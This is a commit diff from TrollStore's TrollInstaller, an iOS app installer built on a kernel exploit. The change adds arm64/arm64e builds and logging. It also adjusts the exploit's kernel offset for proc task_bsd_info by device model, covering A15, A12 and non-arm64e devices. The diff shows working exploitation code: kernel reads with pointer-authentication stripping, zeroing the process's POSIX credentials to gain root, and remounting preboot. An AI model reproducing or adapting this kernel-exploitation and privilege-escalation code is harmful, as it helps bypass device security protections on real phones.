Hopefully fix TrollInstaller not working on non-A15 devices (quietly updated release so redownload IPA)

Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj

@@ -388,6 +388,10 @@
 		8CE2BD3A28AD5D730058FBAD /* Debug */ = {
 			isa = XCBuildConfiguration;
 			buildSettings = {
+				ARCHS = (
+					arm64e,
+					arm64,
+				);
 				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
 				ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
 				CODE_SIGN_STYLE = Automatic;
@@ -421,6 +425,10 @@
 		8CE2BD3B28AD5D730058FBAD /* Release */ = {
 			isa = XCBuildConfiguration;
 			buildSettings = {
+				ARCHS = (
+					arm64e,
+					arm64,
+				);
 				ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
 				ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
 				CODE_SIGN_STYLE = Automatic;

Installer/TrollInstaller/TrollInstaller/ViewController.m

@@ -16,6 +16,17 @@
 
 extern uint64_t g_self_proc;
 
+void badLog(const char* a, ...)
+{
+    va_list va;
+    va_start(va, a);
+    NSString* af = [NSString stringWithUTF8String:a];
+    NSString* msg = [[NSString alloc] initWithFormat:af arguments:va];
+    va_end(va);
+    NSLog(@"%@",msg);
+    return;
+}
+
 int runBinary(NSString* path, NSArray* args)
 {
     NSMutableArray* argsM = args.mutableCopy;
@@ -63,7 +74,7 @@ gid_t backup_groupList[200];
 
 int getRoot(void)
 {
-    printf("attempting to get root...\n");
+    NSLog(@"attempting to get root...\n");
     usleep(1000);
     
     backup_groupSize = getgroups(200, &backup_groupList[0]);
@@ -71,19 +82,19 @@ int getRoot(void)
     backup_cred = proc_get_posix_cred(g_self_proc);
     
     struct k_posix_cred zero_cred = {0};
-    printf("setting posix cred to zero cred...\n");
+    NSLog(@"setting posix cred to zero cred...\n");
     usleep(1000);
     proc_set_posix_cred(g_self_proc, zero_cred);
 
     int err = setgroups(0,0);
     if(err)
     {
-        printf("setgroups error %d\n", err);
+        NSLog(@"setgroups error %d\n", err);
         usleep(1000);
     }
     
     int uid = getuid();
-    printf("getuid => %d\n", uid);
+    NSLog(@"getuid => %d\n", uid);
     usleep(1000);
 
     return uid;
@@ -135,6 +146,9 @@ int writeRemountPrivatePreboot(void)
 
 - (void)doInstallation
 {
+    NSLog(@"TrollStore out here, exploitation starting!");
+    usleep(1000);
+    
     [self updateStatus:@"Exploiting..."];
 
     // Run Kernel exploit
@@ -151,6 +165,9 @@ int writeRemountPrivatePreboot(void)
     km.kwrite_64 = kwrite64;
     km.kcleanup = exploitation_cleanup;
     
+    NSLog(@"Exploitation finished, post exploit stuff next!");
+    usleep(1000);
+    
     [self updateStatus:@"Getting root..."];
     
     // Get root

Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c

@@ -9,6 +9,9 @@
 #include <stdint.h>
 #include <sys/socket.h>
 #include <sys/syscall.h>
+#include <sys/utsname.h>
+
+extern void badLog(const char*, ...);
 
 uint64_t g_self_proc = 0;
 
@@ -46,7 +49,25 @@ uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
     uint64_t x68 = xpaci(kread64(kmsg + 0x68));
     uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
     uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
-    g_self_proc = xpaci(kread64(self_task + 0x3c8));
+
+    struct utsname u;
+    uname(&u);
+    uint64_t off_task_bsd_info;
+    
+#if __arm64e__
+    if (strstr(u.machine, "iPhone14,"))
+    {
+        off_task_bsd_info = 0x3c8;  //  ios15.1    a15       // proc_t::task_bsd_info
+    }
+    else
+    {
+        off_task_bsd_info = 0x3b8;  //; iOS15.1    a12         // proc_t::task_bsd_info
+    }
+#else
+    off_task_bsd_info = 0x3A0;
+#endif
+
+    g_self_proc = xpaci(kread64(self_task + off_task_bsd_info));
     
     // find kernel base
     uint64_t pos = (fops & ~0x3FFF);